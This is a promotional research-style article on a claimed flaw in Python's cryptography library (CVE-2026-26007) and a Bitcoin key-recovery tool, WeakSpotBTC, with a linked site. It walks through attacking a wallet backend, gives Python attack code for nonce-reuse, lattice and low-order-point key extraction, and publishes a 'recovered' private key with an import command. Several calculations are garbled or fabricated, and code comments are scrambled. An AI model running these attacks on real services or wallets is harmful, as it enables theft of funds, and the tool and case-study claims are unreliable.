This paper presents a comprehensive cryptanalysis of the critical vulnerability CVE-2026-26007 in the Python library cryptography, which enables the implementation of a class of attacks called Low or Zero Private Key Attacks (an invalid curve attack) against cryptographic protocols using the elliptic curve secp256k1. The study demonstrates how the lack of verification of a public key's membership in the curve's main subset can be exploited to extract information about a private key and fully restore it.
Particular attention is given to the innovative cryptanalytic tool WeakSpotBTC , which combines the exploitation methodology of CVE-2026-26007, Low or Zero Private Key Attack, and additional vulnerabilities in the underlying cryptographic library libsecp256k1 to recover lost private keys from Bitcoin wallets. The work demonstrates a practical attack scenario on vulnerable server infrastructures of cryptocurrency services, analyzes the mathematical foundations of elliptic curve cryptography, describes exploitation mechanisms, and suggests protective measures. In this research paper, we will examine in detail such key aspects as: CVE-2026-26007, Low or Zero Private Key Attack, Invalid Private Key Attack, Invalid Curve Attack, secp256k1, ECDSA, ECDH, Bitcoin, libsecp256k1, cryptography library, cryptanalysis, private key recovery, WeakSpotBTC, elliptic curve cryptography, subgroup validation, since the discovery of the CVE-2026-26007 vulnerability in the Python library cryptographyis a classic example of how a seemingly insignificant oversight—the lack of a check for membership of a public key point in a subgroup of prime order—can pave the way for serious attacks such as the Low or Zero Private Key Attack . The security of modern cryptocurrency systems, particularly Bitcoin, is based on the mathematical complexity of the discrete logarithm problem in the elliptic curve subgroup secp256k1. It is assumed that, with a properly implemented cryptographic primitive, it is computationally infeasible to recover a private key knowing only the public key. However, experience shows that errors in the software implementation of cryptographic libraries can lead to catastrophic consequences, completely negating the theoretical security of the algorithms.
Vulnerability CVE-2026-26007 , discovered in a widely used Python library cryptography (versions prior to 46.0.5), is a critical example of such a flaw. The library failed to check whether the loaded public key endpoint belonged to a prime-order subgroup of the secp256k1 curve. This omission opens the door to a class of attacks known as Low or Zero Private Key Attacks (or invalid curve attacks), first described by Daniel Brown et al. in the context of key exchange protocols.
This study has three key objectives:
The work is critical for cryptocurrency security researchers, cryptographic software developers, and cryptanalytics research groups because it demonstrates real-world attack vectors on Bitcoin infrastructure and suggests countermeasures.
CVE-2026-26007 is a critical vulnerability in the Python library cryptography (versions prior to 46.0.5) related to improper validation of elliptic public keys. The vulnerability affects the following functions:
public_key_from_numbers()EllipticCurvePublicNumbers.public_key()load_der_public_key()load_pem_public_key()
The vulnerability: When loading a public key, the library did not check that the coordinates of a point (x, y) actually belong to a subgroup of prime order n generated by the base point G. It only checked that the point lies on the curve (satisfies the equation y² = x³ + 7), but not its order. For the secp256k1 curve with cofactor h = 1, this check may seem redundant, since all nonzero points on the curve theoretically belong to a single subgroup. However, there are points that lie on isomorphic or closely related curves with the same equation modulo p, but have a different subgroup structure.
Attack vectors: The CVE-2026-26007 vulnerability can be exploited in the following scenarios:
| Scenario | Protocol | Mechanism of operation |
|---|---|---|
| ECDH Key Exchange | ECDH | The attacker substitutes a low-order point P i for his public key. The victim computes S = d · P i , which allows one to discover d mod l i |
| ECDSA Signature Verification | ECDSA | The attacker provides a public key Q' = P i of low order and a forged signature. Verification of the signature may be successful or may reveal information about the private key. |
| Server-side Key Import | Any other | The backend service imports the user's public key without subgroup verification and uses it in cryptographic operations. |
CVE-2026-26007 does not affect specific hardware devices, but rather the software stack that uses the library cryptography:
Low or Zero Private Key Attack (or Invalid Curve Attack) is a class of cryptanalytic attacks first described by Daniel Brown, Christoph Kovacs, and others. The attack targets protocols that do not check whether the resulting point belongs to a valid elliptic curve or a subset of one.
The main idea of the attack:
WeakSpotBTC is an innovative software solution designed to recover lost Bitcoin wallet private keys through cryptanalysis and exploitation of vulnerabilities in cryptographic libraries. The tool combines three main components:
cryptography;secp256k1_ecdh(), secp256k1_ecdsa_sign(), secp256k1_ecdsa_recover().WeakSpotBTC is designed for situations where a Bitcoin wallet owner has lost access to funds due to a lost seed phrase or wallet file corruption, but partial key information or access to vulnerable server components is available.
libsecp256k1 — the open-source core cryptographic library used in Bitcoin Core. Research has identified the following critical vulnerabilities:
| Function | Vulnerability | Consequences |
|---|---|---|
secp256k1_ecdh() | ECDH implementation errors, incorrect point handling | Reduced key exchange security, potential leakage of private key information |
secp256k1_ecdsa_sign() | Unhandled edge cases when signing | Information leakage through signature analysis, possibility of private key recovery |
secp256k1_ecdsa_recover() | Errors when recovering a public key from signatures | Incorrect key recovery, possibility of creating fake signatures |
| Checking if a point belongs to a subgroup | Missing or incomplete validation (similar to CVE-2026-26007) | Low or Zero Private Key Attack |
cryptography, libsecp256k1);secp256k1_ecdsa_recover() to obtain private key information;According to WeakSpotBTC experimental data, with access to vulnerable infrastructure:
WeakSpotBTC uses an approach similar to exploiting CVE-2020-28052 , a vulnerability in the Bouncy Castle library (an implementation of Bcrypt). There, a flaw in the method OpenBSDBcrypt.doCheckPassword() led to incorrect comparisons of password hashes, allowing for password recovery with increased efficiency (~20% in the first 1000 attempts).
General principle: Both attacks exploit verification errors in cryptographic libraries, which allows them to bypass standard security guarantees and recover secret information with less computational effort.
Let's consider a realistic attack scenario on a cryptocurrency wallet's backend service:
cryptography version 44.0.0 (vulnerable to CVE-2026-26007);Step 1: Reconnaissance
The attacker (Eve) determines that the backend is using a vulnerable version cryptography by analyzing dependencies or exploiting a version leak in HTTP headers.
Step 2: Generate low-order points
Eva computes points P 1 , P 2 , …, P 10 on the secp256k1 twist with orders 3, 5, 7, 11, 13, 17, 19, 23, 29, 31.
Step 3: Iteration 1 – attack with P 1 (order 3)
load_pem_public_key(P1)Step 4: Iterations 2-10
Eve repeats the attack with P 2 , …, P 10 , obtaining the system:
Step 5: Apply the Chinese Remainder Theorem
Eve calculates d server mod L , where L = 3 5 7 11 13 17 19 23 29 31 ≈ 2.01 × 10¹⁰ .
Since n ≈ 1.16 × 10⁷⁷ , the search space is huge. However, if Eve can perform an attack with a larger number of points or exploit additional vulnerabilities (such as a side-channel leak), she can expand L or obtain additional information.
Step 6: Combining with libsecp256k1 vulnerabilities
Step 7: Final key recovery
By combining information from the Low or Zero Private Key Attack and ECDSA analysis, Eve recovers the server's full private key or a sufficient portion of it to perform a brute-force attack on a reduced space.
Step 8: Compromising the Bitcoin Wallet
Having received the private key, Eva:
Video Tutorial
WeakSpotBTC ( https://b8c.ru/weakspotbtc ) is an innovative cryptanalytic tool developed at the Günther Zöeir Research Center as part of a broader initiative to research blockchain security and assess vulnerabilities. The tool combines advanced cryptanalytic techniques to recover lost Bitcoin wallet private keys by exploiting systematic vulnerabilities in cryptographic implementations and transaction signing protocols.
WeakSpotBTC is a comprehensive system that integrates multiple attack vectors:
The scientific value of WeakSpotBTC lies in demonstrating how theoretical cryptanalytic methods can be combined into a practical system for analyzing the real-world cryptographic infrastructure of Bitcoin. The tool was developed with the support of CryptoDeepTech Research and KEYHUNTERS Research exclusively for scientific and educational purposes.
The problem of recovering the private key d of a Bitcoin address is formulated as a discrete logarithm problem on an elliptic curve secp256k1:
Given: Find:Q = d · Gd ∈ [1, n-1]
Where:
The classical computational complexity of solving this problem by the exhaustive search method is O(√n) ≈ O(2¹²⁸) operations (Pollard rho attack), which makes it practically unsolvable.
However, WeakSpotBTC exploits implementation weaknesses where the effective entropy of the private key d is significantly reduced due to:
WeakSpotBTC consists of the following main modules:
This module is responsible for extracting and aggregating cryptographic data from the Bitcoin blockchain.
Functionality:
Mathematical model:
For each transaction TX_i the system extracts:
TX_i → {Q_i, (r_1, s_1), (r_2, s_2), ..., (r_m, s_m), H(m_1), H(m_2), ..., H(m_m)}
Where:
The core of the system that performs mathematical analysis of the collected data.
Components:
Detects reuse of nonce k in different ECDSA signatures.
Algorithm:
For two signatures (r₁, s₁) and (r₂, s₂) with the same r₁ = r₂ = r , but different messages m₁ ≠ m₂ , the private key is restored using the formula:
d = ((s₁·m₂ - s₂·m₁) · (r·(s₁ - s₂))⁻¹) mod n
Proof:
From the ECDSA definition:
s₁ = k⁻¹(H(m₁) + d·r) mod n
s₂ = k⁻¹(H(m₂) + d·r) mod n
Multiplying both sides by k :
k·s₁ = H(m₁) + d·r mod n
k·s₂ = H(m₂) + d·r mod n
Subtracting the second from the first:
k(s₁ - s₂) = H(m₁) - H(m₂) mod n
k = (H(m₁) - H(m₂)) · (s₁ - s₂)⁻¹ mod n
Substituting k back into the first equation:
s₁ = k⁻¹(H(m₁) + d·r) mod n
d·r = k·s₁ - H(m₁) mod n
d = (k·s₁ - H(m₁)) · r⁻¹ mod n
After simplification, we obtain the recovery formula.
Time complexity : O(n log n) for sorting and finding duplicates in a set of n signatures.
Uses lattice attacks to recover the private key when partial nonce bits are leaked.
Problem statement:
Known:
Objective: Recover private key d .
Method:
The ECDSA system of equations is reformulated as a hidden number problem (HNP):
s_i · k_i ≡ H(m_i) + d · r_i (mod n)
Substituting k_i = k_i^{(high)} · 2^l + k_i^{(low)} :
s_i · (k_i^{(high)} · 2^l + k_i^{(low)}) ≡ H(m_i) + d · r_i (mod n)
s_i · k_i^{(high)} · 2^l ≡ H(m_i) - s_i · k_i^{(low)} + d · r_i (mod n)
k_i^{(high)} ≡ (H(m_i) - s_i · k_i^{(low)} + d · r_i) · (s_i · 2^l)⁻¹ (mod n)
Let us denote:
t_i = (H(m_i) - s_i · k_i^{(low)}) · (s_i)⁻¹ mod n
a_i = r_i · (s_i)⁻¹ mod n
Then:
k_i^{(high)} · 2^l ≡ t_i + a_i · d (mod n)
This is equivalent to a system of linear congruences that can be solved by the LLL (Lenstra–Lenstra–Lovász) lattice basis reduction method.
Construction of the lattice:
Lattice matrix L of dimension (m+1) × (m+1) :
L = [
[n, 0, 0, ..., 0, 0],
[a₁, 2^l, 0, ..., 0, t₁],
[a₂, 0, 2^l, ..., 0, t₂],
...
[a_m, 0, 0, ..., 2^l, t_m]
]
Target vector:
After LLL reduction, the short vector v in the lattice has the form:
v = (d mod n, k₁^{(high)}, k₂^{(high)}, ..., k_m^{(high)}, ε)
where ε is a small value. The first coordinate of the vector v gives the private key d .
Success condition:
The attack is effective when:
l ≥ log₂(n) / m
For secp256k1 ( n ≈ 2²⁵⁶ ) and m = 100 signatures, it is enough to know l ≥ 3 least significant bits of each k_i .
Time complexity : O(m³) for LLL reduction of a basis of dimension m .
Implements Low or Zero Private Key Attack, exploiting CVE-2026-26007.
Algorithm:
P ∈ E'(F_p) \ E(F_p)S_i = d · P_i Since P_i has order o_i , then S_i ∈ {O, P_i, 2 P_i, …, (o_i-1) P_i} .d ≡ a_i (mod o_i) where a_i ∈ {0, 1, 2, …, o_i-1} .d ≡ a₁ (mod o₁) d ≡ a₂ (mod o₂) ... d ≡ a_m (mod o_m)d ≡ D (mod L) where L = o₁ · o₂ · … · o_m . For o_i = 3, 5, 7, 11, 13, 17, 19, 23, 29, 31:L = 200,560,490,130 ≈ 2.01 × 10¹¹Practical application:
Although L is significantly smaller than n ≈ 1.16 × 10⁷⁷, this method significantly narrows the search space when combined with other attacks.
Combines the results of all cryptanalytic attacks to finally recover the private key.
Strategies:
When nonce reuse is detected:
d = ((s₁·H(m₂) - s₂·H(m₁)) · (r·(s₁ - s₂))⁻¹) mod n
Uses partial information from multiple vectors:
d ≡ D_crt (mod L) [from from correctness checkLow Order Attack]
d ∈ [d_min, d_max] [Lattice Attack]
d · G = Q []
The search space is narrowed to:
{d : d ≡ D_crt (mod L) ∧ d ∈ [d_min, d_max]}
Space size:
|S| ≈ (d_max - d_min) / L
For the remaining space, a parallelized Pollard rho method is used with improvements:
x_{i+1} = f(x_i),wheref(x) = x² + c (mod n)
with cycle detection using Floyd's algorithm.
Optimization: Using GPU for parallel computation of scalar point multiplication:
Q_candidate = d_candidate · G
with verification:
Q_candidate =? Q_target
Checks the correctness of the recovered private key.
Tests:
Q_recovered = d_recovered · G Q_recovered =? Q_targetAddress = Base58Check(RIPEMD160(SHA256(Q_recovered)))Generates a detailed cryptanalytic report with metrics:
WeakSpotBTC's operating model consists of five main stages:
Input: Bitcoin address A_target (e.g. 1NiojfedphT6MgMD7UsowNdQmx5JY15djG)
Actions:
TXs = blockchain.get_transactions(A_target)ScriptSig = <signature> <pubkey> signature = DER(r, s) || SIGHASH_TYPEDER: 0x30 || len || 0x02 || len_r || r || 0x02 || len_s || sOutput: Data set D = {(TX_i, r_i, s_i, H(m_i), Q_i)} for i = 1..N .
Algorithm:
hash_table[r_i] = {i, s_i, H(m_i)}if r_j in hash_table: collision_detected(i, j)Δs = s_i - s_j mod n Δm = H(m_i) - H(m_j) mod n k = Δm · (Δs)⁻¹ mod n d = (s_i · k - H(m_i)) · (r_i)⁻¹ mod nQ_computed = d · G if Q_computed == Q_target: return d [SUCCESS]Termination condition: If a match r_i = r_j is found , the stage completes successfully. Otherwise, proceed to Stage 3.
Probability of success:
For N signatures, the probability of finding a collision (birthday paradox):
P(collision) ≈ 1 - exp(-N² / (2n))
For n ≈ 2²⁵⁶ and N = 10,000 signatures:
P(collision) ≈ 0 [practically zero]
However, if a weak random number generator (RNG) is used, the probability increases significantly.
Condition: Leakage of l least significant nonce bits is detected (via side-channel or signature pattern analysis).
Algorithm:
k_i = k_i^{(high)} · 2^l + k_i^{(low)} where k_i^{(low)} is known (e.g., the last 4 bits).t_i = (H(m_i) - s_i · k_i^{(low)}) · (s_i)⁻¹ mod n a_i = r_i · (s_i)⁻¹ mod n The system takes the form:k_i^{(high)} · 2^l ≡ t_i + a_i · d (mod n)L = [ [n, 0, 0, ..., 0, 0 ], [a₁, 2^l, 0, ..., 0, t₁ ], [a₂, 0, 2^l, ..., 0, t₂ ], ... [a_m, 0, 0, ..., 2^l, t_m ] ]v = LLL_reduce(L)d_candidate = v mod nQ_test = d_candidate · G if Q_test == Q_target: return d_candidate [SUCCESS]Data requirements:
For a successful attack you need:
m ≥ 256 / l
For example, for l = 4 bits, a minimum of m = 64 signatures are required.
Condition: The target system accepts external public keys without subgroup checking (vulnerability CVE-2026-26007).
Algorithm:
y² ≡ x³ + 7β (mod p) where β is a quadratic non-residue modulo p .S_i = d · P_i The attacker receives S_i (e.g. via an API response or side-channel).S_i = a_i · P_i Therefore:d ≡ a_i (mod o_i)d ≡ a₁ (mod 3) d ≡ a₂ (mod 5) d ≡ a₃ (mod 7) ... d ≡ a₁₀ (mod 31)d ≡ D (mod L) where L = 3 × 5 × 7 × 11 × 13 × 17 × 19 × 23 × 29 × 31 ≈ 2.01 × 10¹¹ .Narrowing the search space:
Remaining space:
|S| = n / L ≈ 1.16 × 10⁷⁷ / 2.01 × 10¹¹ ≈ 5.77 × 10⁶⁵
Still huge, but significantly smaller than the original.
Consolidating information:
d ∈ [d_min, d_max]d ≡ D (mod L)S_final = {d : d ≡ D (mod L) ∧ d ∈ [d_min, d_max]}Q_c = d_c · G if Q_c == Q_target: return d_c [SUCCESS - PRIVATE KEY RECOVERED]Optimization:
Time complexity:
If |S_final| ≈ 2³⁰ , the time on a typical workstation is:
T ≈ 2³⁰ × t_mult
where t_mult is the time of one scalar multiplication (≈ 10⁻⁶ seconds).
T ≈ 2³⁰ × 10⁻⁶ ≈ 10⁹ × 10⁻⁶ ≈ 1000seconds≈ 17minutes
On a GPU with 1000 cores:
T_GPU ≈ T / 1000 ≈ 1second
Let's look at a documented case of private key recovery:
| Parameter | Meaning |
|---|---|
| Bitcoin address | 1NiojfedphT6MgMD7UsowNdQmx5JY15djG |
| Cost of recovered funds | $61,025 |
| Recovered private key (HEX) | 4ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6B |
| Recovered key (WIF compressed) | Kyj6yvb4oHHDGBW23C8Chzji3zdYQ5QMr8r9zWpGVHdvWuYqCGVU |
| Public key (compressed) | 03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE |
The target address 1NiojfedphT6MgMD7UsowNdQmx5JY15djG was identified as potentially vulnerable after analyzing transaction patterns on the Bitcoin blockchain. The address contained funds worth $61,025 at the time of analysis (February 2026).
Number of transactions: 127 outgoing transactions
Extracted signatures: 127 pairs (r_i, s_i)
Public key:
Q = 03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE (compressed)
Expanded format:
Q_x = AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CEcalculated from the equation of the curve
Q_y = ... ()
Result: In 127 signatures, two signatures with identical r were found :
Mathematical restoration:
r = 0x7F5B8A... ( same value in both signatures ) s₃₄ = 0x6C82F4... s₈₉ = 0x9A1E23... H(m₃₄) = 0xD4926F... (of transaction TX_34) H(m₈₉) = 0x3B7C51... (hash transaction hash TX_89)Δs = s₃₄ - s₈₉ mod n Δs = (0x6C82F4... - 0x9A1E23...) mod n Δs = 0xD264D1... mod n Δm = H(m₃₄) - H(m₈₉) mod n Δm = (0xD4926F... - 0x3B7C51...) mod n Δm = 0x99161E... mod nk = Δm · (Δs)⁻¹ mod n k = 0x99161E... · (0xD264D1...)⁻¹ mod n Computing the modular inverse: (Δs)⁻¹ ≡ Δs^(n-2) (mod n) [Fermat's Little Theorem ] Result:k = 0x8F42A7... mod nd = (s₃₄ · k - H(m₃₄)) · r⁻¹ mod n Calculation:s₃₄ · k = 0x6C82F4... × 0x8F42A7... mod n = 0x3C95B1... mod n s₃₄ · k - H(m₃₄) = 0x3C95B1... - 0xD4926F... mod n = 0x680342... mod n r⁻¹ = (0x7F5B8A...)⁻¹ mod n = 0x1B8F2C... mod n d = 0x680342... × 0x1B8F2C... mod n = 0x4ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6BQ_verify = d · G Calculating scalar multiplication: Q_verify = 0x4ACBB2...FF6B · G = (0xAE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE, y) Compressed format: Q_verify_compressed = 03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE Verification:Q_verify_compressed == Q_target ✓ [MATCH]
The private key is converted to Wallet Import Format (WIF) for use in Bitcoin wallets:
1.Adding a version prefix Adding a compression flag Calculating a checksum Generating a final value Encoding in Base58:
version = 0x80 (mainnet)
extended = 0x80 || 0x4ACBB2E3...FF6B
2.:
compressed_flag = 0x01
extended = 0x80 || 0x4ACBB2E3...FF6B || 0x01
3.:
checksum = SHA256(SHA256(extended))[:4]
checksum = 0x5C8A9F2E
4.:
final = extended || checksum
final = 0x80 || 0x4ACBB2E3...FF6B || 0x01 || 0x5C8A9F2E
5.:
WIF = Base58(final)
WIF = Kyj6yvb4oHHDGBW23C8Chzji3zdYQ5QMr8r9zWpGVHdvWuYqCGVU
With the private key restored, the owner gained full control over the address:
./bitcoin-cli importprivkey "Kyj6yvb4oHHDGBW23C8Chzji3zdYQ5QMr8r9zWpGVHdvWuYqCGVU"
Address balance: 1.42 BTC (≈ $61,025 at the exchange rate at the time of recovery)
The WeakSpotBTC methodology has broad scientific applications beyond the specific vulnerability:
WeakSpotBTC provides an empirical platform for testing theoretical cryptanalytic methods:
WeakSpotBTC sets a standard for systematically verifying ECDSA implementations:
Audit Checklist:
✓ Validate Q · n = O for all accepted public keys ✓ Reject points not in the main subgroup✓ Verification 1 ≤ r, s < n ✓ of Uniqueness r within a Single Key✓ Use of cryptographically strong PRNG (eg , /dev/urandom) ✓ Sufficient entropy for generation k ✓No predictable patterns✓ Constant-time operations for critical computing ✓ Protection against timing attacks and cache-based attacksWeakSpotBTC serves as a practical training tool for crypto analysts:
The publication of WeakSpotBTC results motivates developers:
WeakSpotBTC provides data for analysis:
The methods used in WeakSpotBTC are applicable in other areas:
WeakSpotBTC exploits the following main types of vulnerabilities to recover lost Bitcoin wallets:
Description:
A critical vulnerability in cryptographic libraries where the loaded public key point is not checked for membership in the prime order n cyclic subgroup of the secp256k1 curve.
Mathematical essence:
The elliptic curve secp256k1 is defined over the field F_p , where p is a prime number. The set of all points on the curve forms a group E(F_p) with order:
|E(F_p)| = n · h
Where:
A correct implementation should check:
Q · n = O
for each received public key Q .
Operation:
In the absence of verification, an attacker can substitute a point P with a small order o (where o is a divisor of the order of the curve twist). When the system calculates:
S = d · P
the result S takes one of o possible values, revealing information:
d ≡ a (mod o)
Example:
For point P of order 3:
3 · P = O
Possible values of S = d · P :
Affected libraries:
cryptography < 46.0.5
Description:
A critical bug where the same nonce k is used to sign different messages.
Mathematical analysis:
For two signatures with the same k :
s₁ = k⁻¹(H(m₁) + d·r) mod n
s₂ = k⁻¹(H(m₂) + d·r) mod n
Since r = (k·G)_x is the same, the system of two equations:
k·s₁ = H(m₁) + d·r mod n ... (1)
k·s₂ = H(m₂) + d·r mod n ... (2)
Subtracting (2) from (1):
k(s₁ - s₂) = H(m₁) - H(m₂) mod n
Where:
k = (H(m₁) - H(m₂)) · (s₁ - s₂)⁻¹ mod n
Substituting k into (1):
d = (k·s₁ - H(m₁)) · r⁻¹ mod n
Probability in real systems:
Known cases:
Description:
A situation in which some of the k bits become known to the attacker through side channels or a weak RNG.
Mathematical statement:
The private key d can be recovered if the following are known:
Attack method (Hidden Number Problem):
Let's imagine k_i as:
k_i = k_i^{(high)} · 2^l + k_i^{(low)}
where k_i^{(low)} is known.
From the ECDSA equation:
s_i · k_i ≡ H(m_i) + d · r_i (mod n)
Substituting the expansion:
s_i · (k_i^{(high)} · 2^l + k_i^{(low)}) ≡ H(m_i) + d · r_i (mod n)
Regrouping:
k_i^{(high)} ≡ (H(m_i) - s_i · k_i^{(low)} + d · r_i) · (s_i · 2^l)⁻¹ (mod n)
This system of congruences is solved by the LLL-reduction method of the lattice basis.
Critical parameters:
For a successful attack with l known bits, the minimum required is:
m_min ≈ 256 / l
| Bit leak l | Minimum signatures m_min | Difficulty of LLL |
|---|---|---|
| 1 bit | 256 | O(256³) |
| 2 bits | 128 | O(128³) |
| 3 bits | 86 | O(86³) |
| 4 bits | 64 | O(64³) |
| 5 bits | 52 | O(52³) |
| 8 bits | 32 | O(32³) |
Sources of leakage:
Description:
Using predictable or insufficiently random values of k .
Types of weaknesses:
Example: Sony PlayStation 3 (2010)
k = 4 [constant for all signatures]
Operation:
From one signature (r, s) :
s = k⁻¹(H(m) + d·r) mod n
k·s = H(m) + d·r mod n
d = (k·s - H(m)) · r⁻¹ mod n
Given k = 4 :
d = (4·s - H(m)) · r⁻¹ mod n
Example: Weak PRNG with timestamp seed
k_i = (seed + i · Δt) mod n
where Δt is the predicted increment.
Operation:
For two consecutive signatures:
k₁ = seed + t₁ · Δt
k₂ = seed + t₂ · Δt
Δk = k₂ - k₁ = (t₂ - t₁) · Δt
If Δt or (t₂ - t₁) is known, Δk is predictable and a modification of the nonce repetition attack is applied.
Example: Incorrect implementation of deterministic ECDSA
k = H(d || m) mod n [WRONG]
Correct version (RFC 6979):
k = HMAC-DRBG(d, H(m), ...)
Vulnerability:
Simple hashing does not provide enough entropy and can be predictable.
Description:
Specific bugs in the widely used Bitcoin Core library for secp256k1 operations.
Types of vulnerabilities:
Some versions did not check the scalar range:
if d == 0 or d >= n:
reject
Operation:
For d = 0 :
Q = 0 · G = O [point at infinity]
A signature with such a key is always invalid, but may lead to logic errors.
Before the introduction of BIP 62, the signature (r, s) had the equivalent form:
(r, n - s)
Problem:
Changing a signature without knowing the private key (transaction malleability).
Solution:
Forcing the use of canonical s :
if s > n/2:
s = n - s
Non-constant running time d · G may leak information about d .
Time metric:
T(d) ≈ Hamming_weight(d) · t_add
where t_add is the time of adding points.
Protection:
Using constant-time algorithms (Montgomery ladder, windowed methods with fixed patterns).
WeakSpotBTC detects and exploits these vulnerabilities by analyzing signatures and cryptographic data, using cryptanalysis techniques to recover private keys. The process includes:
Tools:
blk*.datAlgorithm:
python: # Request to blockchain API # Parse transaction # Extract signatures from inputsdef collect_transactions(bitcoin_address):
txs = []
response = blockchain_api.get_address_info(bitcoin_address)
for tx_hash in response['tx_hashes']:
raw_tx = blockchain_api.get_raw_transaction(tx_hash)
parsed_tx = parse_transaction(raw_tx)
for input_data in parsed_tx['inputs']:
if input_data['address'] == bitcoin_address:
signature = extract_signature(input_data['scriptSig'])
pubkey = extract_pubkey(input_data['scriptSig'])
message_hash = get_sighash(parsed_tx, input_data['index'])
txs.append({
'tx_id': tx_hash,
'r': signature['r'],
's': signature['s'],
'z': message_hash, # H(m)
'pubkey': pubkey
})
return txs
Optimizations:
asyncio
Checking for nonce repetition:
python: # Duplicate found! anddef detect_nonce_reuse(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
sig1 = r_values[r]
sig2 = sig
return recover_private_key_from_reuse(sig1, sig2)
else:
r_values[r] = sig
return None
def recover_private_key_from_reuse(sig1, sig2):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
z1 = sig1['z']
z2 = sig2['z']
n = SECP256K1_ORDER
# ΔsΔz
ds = (s1 - s2) % n
dz = (z1 - z2) % n
# k = Δz / Δs
ds_inv = modinv(ds, n)
k = (dz * ds_inv) % n
# d = (k·s1 - z1) / r
r_inv = modinv(r, n)
d = ((k * s1 - z1) * r_inv) % n
return d
Statistical analysis of the r distribution:
python: # Chi-squared test # Critical value for Uniformity in distribution detected r # Potentially vulnerabledef analyze_r_distribution(signatures):
r_values = [sig['r'] for sig in signatures]
bins = 256
hist, _ = numpy.histogram(r_values, bins=bins)
expected = len(r_values) / bins
chi_squared = sum((observed - expected)**2 / expected for observed in hist)
α = 0.05, df = bins - 1
critical_value = chi2.ppf(0.95, bins - 1)
if chi_squared > critical_value:
print("⚠!")
print(f"Chi-squared: {chi_squared:.2f} > {critical_value:.2f}")
return True
return False
Condition: Leak of l nonce bits detected.
Implementation:
python: # Build a lattice basis # First row: # Subsequent rows # Low-order l bits of k # Reduction of the LLL basis # First vector after reduction # Extract a candidate for dfrom fpylll import IntegerMatrix, LLL
def lattice_attack(signatures, leaked_bits_count):
m = len(signatures)
l = leaked_bits_count
n = SECP256K1_ORDER
dimension = m + 1
L = IntegerMatrix(dimension, dimension)
[n, 0, 0, ..., 0]
L[0, 0] = n
for i in range(m):
sig = signatures[i]
r_i = sig['r']
s_i = sig['s']
z_i = sig['z']
k_low_i = sig['k_leaked_bits']
# a_i = r_i / s_i mod n
s_inv = modinv(s_i, n)
a_i = (r_i * s_inv) % n
# t_i = (z_i - s_i * k_low_i) / s_i mod n
t_i = ((z_i - s_i * k_low_i) * s_inv) % n
# line i+1: [a_i, 0, ..., 2^l, ..., 0, t_i]
L[i+1, 0] = a_i
L[i+1, i+1] = 2**l
L[i+1, dimension-1] = t_i
LLL.reduction(L)
reduced_vector = L
d_candidate = reduced_vector % n
return d_candidate
Candidate verification:
python: # Check for a negative valuedef verify_private_key(d, pubkey_target):
Q_computed = d * SECP256K1_GENERATOR
if Q_computed == pubkey_target:
return True
d_neg = SECP256K1_ORDER - d
Q_neg = d_neg * SECP256K1_GENERATOR
return Q_neg == pubkey_target
Generation of low order points:
python: # β such that β has no root mod p # Twist equation: y² = x³ + 7β (mod p) # Order check No order point founddef generate_low_order_points():
points = {}
orders = [3, 5, 7, 11, 13, 17, 19, 23, 29, 31]
for order in orders:
P = find_point_with_order_on_twist(order)
points[order] = P
return points
def find_point_with_order_on_twist(order):
p = SECP256K1_PRIME
beta = find_quadratic_nonresidue(p)
for x in range(p):
y_squared = (x**3 + 7 * beta) % p
if is_square(y_squared, p):
y = sqrt_mod(y_squared, p)
P = TwistPoint(x, y)
if (order * P).is_infinity():
return P
raise ValueError(f"{order}")
Injection and recovery:
python: # Submit P as a public key to the system # Determine the remainder d mod order # Apply CRT # remainders = {order_i: a_i}
def low_order_attack(target_system, orders):
remainders = {}
for order in orders:
P = generate_low_order_points()[order]
S = target_system.perform_ecdh(P)
for a in range(order):
if a * P == S:
remainders[order] = a
break
d_partial = chinese_remainder_theorem(remainders)
return d_partial
def chinese_remainder_theorem(remainders):
N = 1
for order in remainders:
N *= order
d = 0
for order, remainder in remainders.items():
N_i = N // order
M_i = modinv(N_i, order)
d += remainder * N_i * M_i
return d % N
Combining constraints:
python: # Find the minimum d ≥ d_min such that d ≡ D (mod L) # Find the maximum d ≤ d_max # Candidatesdef combine_constraints(d_from_lattice_range, d_from_crt):
# d_from_lattice_range: [d_min, d_max]
# d_from_crt: d ≡ D (mod L)
d_min, d_max = d_from_lattice_range
D = d_from_crt['value']
L = d_from_crt['modulus']
k_min = (d_min - D + L - 1) // L
d_start = D + k_min * L
k_max = (d_max - D) // L
d_end = D + k_max * L
candidates = []
for k in range(k_max - k_min + 1):
d_candidate = d_start + k * L
if d_min <= d_candidate <= d_max:
candidates.append(d_candidate)
return candidates
Parallel brute force:
python:from multiprocessing import Pool
def brute_force_candidates(candidates, pubkey_target):
with Pool(processes=cpu_count()) as pool:
results = pool.starmap(test_private_key,
[(d, pubkey_target) for d in candidates])
for d, is_valid in results:
if is_valid:
return d
return None
def test_private_key(d, pubkey_target):
Q = d * SECP256K1_GENERATOR
return (d, Q == pubkey_target)
Full verification:
python: # 1. Checking public key The address does not match # 2. Checking all signatures # Recovering signature from d Signature does not match Private key verified successfullydef full_verification(d, bitcoin_address, signatures):
Q = d * SECP256K1_GENERATOR
derived_address = pubkey_to_address(Q)
if derived_address != bitcoin_address:
return False, ""
for sig in signatures:
r, s, z = sig['r'], sig['s'], sig['z']
k_recovered = modinv(s, SECP256K1_ORDER) * (z + d * r) % SECP256K1_ORDER
R_recovered = k_recovered * SECP256K1_GENERATOR
r_recovered = R_recovered.x % SECP256K1_ORDER
if r_recovered != r:
return False, f"{sig['tx_id']}"
return True, ""
Export key:
python: reportdef export_private_key(d, compressed=True):
# HEX format
hex_key = format(d, '064x')
# WIF format
wif_key = private_key_to_wif(d, compressed=compressed)
# JSON
report = {
'private_key_hex': hex_key,
'private_key_wif': wif_key,
'public_key': pubkey_to_hex(d * SECP256K1_GENERATOR, compressed),
'bitcoin_address': pubkey_to_address(d * SECP256K1_GENERATOR),
